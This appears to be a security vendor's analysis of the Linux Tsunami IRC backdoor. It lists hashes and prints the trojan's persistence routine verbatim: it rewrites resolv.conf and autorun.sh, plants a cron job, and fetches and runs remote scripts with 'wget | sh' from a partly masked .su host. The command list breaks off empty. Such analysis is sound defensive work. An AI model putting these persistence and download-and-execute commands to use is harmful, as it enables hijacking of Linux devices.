Linux.BackDoor.Tsunami.144

SHA1:

• e8a8d48e1083e7146d5efcba1d6490f05cd8c897 (unpacked)
• 577551c6a550c3fd30169fb4c2a62fa8b6e73686 (packed)

Backdoors for Linux OSes that get installed on the system by Linux.PNScan.1. Once launched, the Trojan attempts to ensure its autorun as follows:

system("echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &");
system("rm -rf /var/run/wgs* > /dev/null 2>&1 &");
system("rm -rf /var/run/bbs* > /dev/null 2>&1 &");
system("rm -rf /var/run/tty* > /dev/null 2>&1 &");
system("ulimit -s unlimited > /dev/null 2>&1 &");
system("mount -t ext2 /dev/mtdblock4 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/mtdblock5 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/sdx6 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/sdc6 /tmp/config > /dev/null 2>&1");
system("rm -rf /var/run/getty1 > /dev/null 2>&1 &");
system("rm -rf /var/run/getty2 > /dev/null 2>&1 &");
system("rm -rf /var/run/getty3 > /dev/null 2>&1 &");
system("cat /tmp/config/autorun.sh | grep -v \"nameserver 8.8.8.8\" | grep -v \"sleep 43200\" | grep -v \"erpcit\" | grep -v \"o.kei\" > /var/run/.backup");
system("echo \"echo \"nameserver 8.8.8.8\" > /etc/resolv.conf\"  >> /var/run/.backup");
system("echo \"sleep 120 && wget -qO - http://*.***.su/qn | sh > /dev/null 2>&1 &\" >> /var/run/.backup");
system("cat /var/run/.backup > /tmp/config/autorun.sh");
system("chmod +x /tmp/config/autorun.sh");
system("umount /tmp/config");
system("rm -rf /var/run/.backup");
system("cat /etc/config/crontab | grep -v \"gettychk\" > /tmp/.fuckw");
system("echo \"* * * * * /var/run/gettychk > /dev/null 2>&1\" >> /var/run/.fuckw");
system("cat /tmp/.fuckw > /etc/config/crontab");
system("crontab -l | grep -v \"gettychk\" > /var/run/.fuckx");
system("echo \"* * * * * /var/run/gettychk > /dev/null 2>&1\" >> /var/run/.fuckx");
system("echo \"#!/bin/sh\" > /var/run/gettychk");
system("echo \"pidof getty0 || ( rm -rf /var/run/getty.pid && /var/run/getty0 ) \" >> /var/run/gettychk");
system("chmod 700 /var/run/gettychk");
system("crontab /var/run/.fuckx");
system("crontab /etc/config/crontab");
system("rm -rf /var/run/.fuckw");
system("rm -rf /var/run/.fuckx");
system("/etc/init.d/crond.sh restart > /dev/null 2>&1 &");
system("wget -qO - http://*.***.su/botkill | sh > /dev/null 2>&1 &");

To connect to the IRC server, the Trojan generates the name and alias string as follows:

x32|Linux|root|%c%c%c%c%c%c%c%c%c

where %c indicates a random number from the "0123456789" set. If the backdoor does not have root privileges, the "unk" value is used in place of "root".

While establishing a connection to the IRC server, the malicious program waits for incoming commands. The backdoor can execute the following commands:

Moreover, the Trojan can execute a number of extended commands.